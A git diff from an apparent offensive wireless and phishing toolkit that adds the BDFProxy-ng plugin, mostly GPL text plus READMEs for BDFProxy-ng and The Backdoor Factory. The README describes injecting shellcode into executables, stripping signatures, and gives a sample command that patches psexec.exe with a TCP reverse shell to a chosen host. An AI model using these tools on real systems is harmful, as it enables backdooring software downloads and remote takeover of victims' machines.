__init__(self, parent=None): + def __init__(self, PhishingManager,parent=None): super(frm_DnsSpoof, self).__init__(parent) self.setWindowTitle('Dns Spoof Attack') self.Main = QVBoxLayout() self.owd = getcwd() + self.Ftemplates = PhishingManager self.loadtheme(self.configure.XmlThemeSelected()) self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]} self.ThreadDirc = {'dns_spoof':[]} @@ -280,7 +281,7 @@ def thread_scan_reveice(self,info_ip): def show_frm_fake(self): self.n = frm_update_attack() - self.n.setGeometry(QRect(100, 100, 450, 300)) + self.n.setGeometry(QRect(100, 100, 300, 300)) self.n.show() def emit_template(self,log): diff --git a/Modules/servers/PhishingManager.py b/Modules/servers/PhishingManager.py index c5e124a..c1288cf 100644 --- a/Modules/servers/PhishingManager.py +++ b/Modules/servers/PhishingManager.py @@ -31,7 +31,7 @@ class frm_PhishingManager(QWidget): def __init__(self, parent = None): super(frm_PhishingManager, self).__init__(parent) self.label = QLabel() - self.Main = QVBoxLayout(self) + self.Main = QVBoxLayout() self.owd = getcwd() self.config = frm_Settings() self.setWindowTitle('Phishing Manager') diff --git a/Modules/servers/ServerHTTP.py b/Modules/servers/ServerHTTP.py index 2cca591..aea23cc 100644 --- a/Modules/servers/ServerHTTP.py +++ b/Modules/servers/ServerHTTP.py @@ -108,7 +108,7 @@ def run(self): self.httpd = None self.httpd = MyHTTPServer((self.Address, self.PORT), self.Handler,on_before_serve = self.httpd) self.Handler.log_message = self.Method_GET_LOG - setup_logger('phishing', './Logs/Phishing/Webclone.log') + setup_logger('phishing', './Logs/Phishing/requests.log') self.log_phishing = logging.getLogger('phishing') self.httpd.serve_forever() diff --git a/Plugins/BDFProxy-ng/LICENSE b/Plugins/BDFProxy-ng/LICENSE new file mode 100644 index 0000000..733c072 --- /dev/null +++ b/Plugins/BDFProxy-ng/LICENSE @@ -0,0 +1,675 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. + diff --git a/Plugins/BDFProxy-ng/README.md b/Plugins/BDFProxy-ng/README.md new file mode 100644 index 0000000..c7663d9 --- /dev/null +++ b/Plugins/BDFProxy-ng/README.md @@ -0,0 +1,33 @@ +#The Backdoor Factory Proxy NextGen (BDFProxy-ng) v0.1 +bdfproxy-ng is a fork and review of the original BDFProxy (https://github.com/secretsquirrel/BDFProxy) + +#WARNING +##This is an experimental and unsupported fork. It uses libarchive that suffers from various bugs that could lead to a remote exploit. +##If you want to use a stable, supported and (almost) bug free version please use the official repo. + + +##What's new +- added support for deb files (Debian and Ubuntu) +- added support for ar and xz archives +- added support for mime types instead of headers +- got rid of various libraries to handle different archive types in favor of only one (`libarchive-c`) +- refactored the code, added more robust checks +- changed the copyright: now it's GPL3! + +##Why forking +I felt the code needed a proper redesign to be able to add more features. +Plus, I didn't like the copyright of the original project :) + +##How to install +You need to install the python packages listed in `requirements.txt` (hint: `sudo pip install -r requirements.txt`). Before doing that, you need to install `libarchive-dev` from your packet manager. (`sudo apt-get install libarchive-dev` on Debian/Ubuntu). + +##How to use +Simply type `sudo python bdf_proxy.py`. For more information, refers to the original Readme file on the official BDFProxy repo. + +##Depends: + + Pefile - most recent + ConfigObj + mitmProxy - Kali Build .10 + BDF - most current + Capstone (part of BDF) \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/.gitignore b/Plugins/BDFProxy-ng/bdf/.gitignore new file mode 100644 index 0000000..ae0d4e2 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/.gitignore @@ -0,0 +1,2 @@ +*.pyc +*.exe diff --git a/Plugins/BDFProxy-ng/bdf/COPYING b/Plugins/BDFProxy-ng/bdf/COPYING new file mode 100644 index 0000000..eeb897e --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/COPYING @@ -0,0 +1,29 @@ +Copyright (C) 2013-2014, Joshua Pitts +All rights reserved. + + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + 1. Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + 3. Neither the name of the copyright holder nor the names of its contributors + may be used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/Plugins/BDFProxy-ng/bdf/README.md b/Plugins/BDFProxy-ng/bdf/README.md new file mode 100644 index 0000000..35416e3 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/README.md @@ -0,0 +1,367 @@ + +##The Backdoor Factory (BDF) +For security professionals and researchers only. + +The goal of BDF is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state. + + +Shmoocon 2015: + + Video: https://archive.org/details/joshpitts_shmoocon2015 + + Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf + + +DerbyCon 2014: + + Video: http://www.youtube.com/watch?v=LjUN9MACaTs + + +DerbyCon 2013: + + Video: http://www.youtube.com/watch?v=jXLb2RNX5xs + + Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U + + Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory + + +Contact the developer on: + + IRC: + irc.freenode.net #BDFactory + + Twitter: + @midnite_runr + + +Under a BSD 3 Clause License + +See the wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki + +--- + +###Dependences +#####*To use OnionDuke you MUST be on an intel machine because aPLib has no support for the ARM chipset yet.* + + +[Capstone engine](http://www.capstone-engine.org) can be installed from PyPi with: + + sudo pip install capstone + +Pefile, most recent: +https://code.google.com/p/pefile/ + + +Kali Install: + + apt-get update + apt-get install backdoor-factory + + +Other *NIX/MAC INSTALL: + + ./install.sh + +This will install Capstone with 3.01 pip to install pefile. + +UPDATE: + + ./update.sh + + +--- + +Supporting: + + Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), + and Mach-O x86/x64 and those formats in FAT files + + Packed Files: PE UPX x86/x64 + + Experimental: OpenBSD x32 + + +Some executables have built in protections, as such this will not work on all binaries. It is advisable that you test target binaries before deploying them to clients or using them in exercises. I'm on the verge of bypassing NSIS, so bypassing these checks will be included in the future. + + Many thanks to Ryan O'Neill --ryan 'at' codeslum org-- + Without him, I would still be trying to do stupid things + with the elf format. + Also thanks to Silvio Cesare with his 1998 paper + (http://vxheaven.org/lib/vsc01.html) which these ELF patching + techniques are based on. + + + +Recently tested on many binaries. +--- + +./backdoor.py -h + Usage: backdoor.py [options] + + +--- + +##Features: + +###PE Files + + Can find all codecaves in an EXE/DLL. + By default, clears the pointer to the PE certificate table, thereby unsigning a binary. + Can inject shellcode into code caves or into a new section. + Can find if a PE binary needs to run with elevated privileges. + When selecting code caves, you can use the following commands: + -Jump (j), for code cave jumping + -Single (s), for patching all your shellcode into one cave + -Append (a), for creating a code cave + -Ignore (i or q), nevermind, ignore this binary + Can ignore DLLs + Import Table Patching + AutoPatching (-m automtic) + Onionduke (-m onionduke) + +###ELF Files + + Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code. + +###Mach-O Files + Pre-Text Section patching and signature removal + +###Overall + + The user can : + -Provide custom shellcode. + -Patch a directory of executables/dlls. + -Select x32 or x64 binaries to patch only. + -Include BDF is other python projects see pebin.py and elfbin.py + +--------------------------------------------- + +Sample Usage: +--- + +###Patch an exe/dll using an existing code cave: + + ./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp + + [*] In the backdoor module + [*] Checking if binary is supported + [*] Gathering file info + [*] Reading win32 entry instructions + [*] Looking for and setting selected 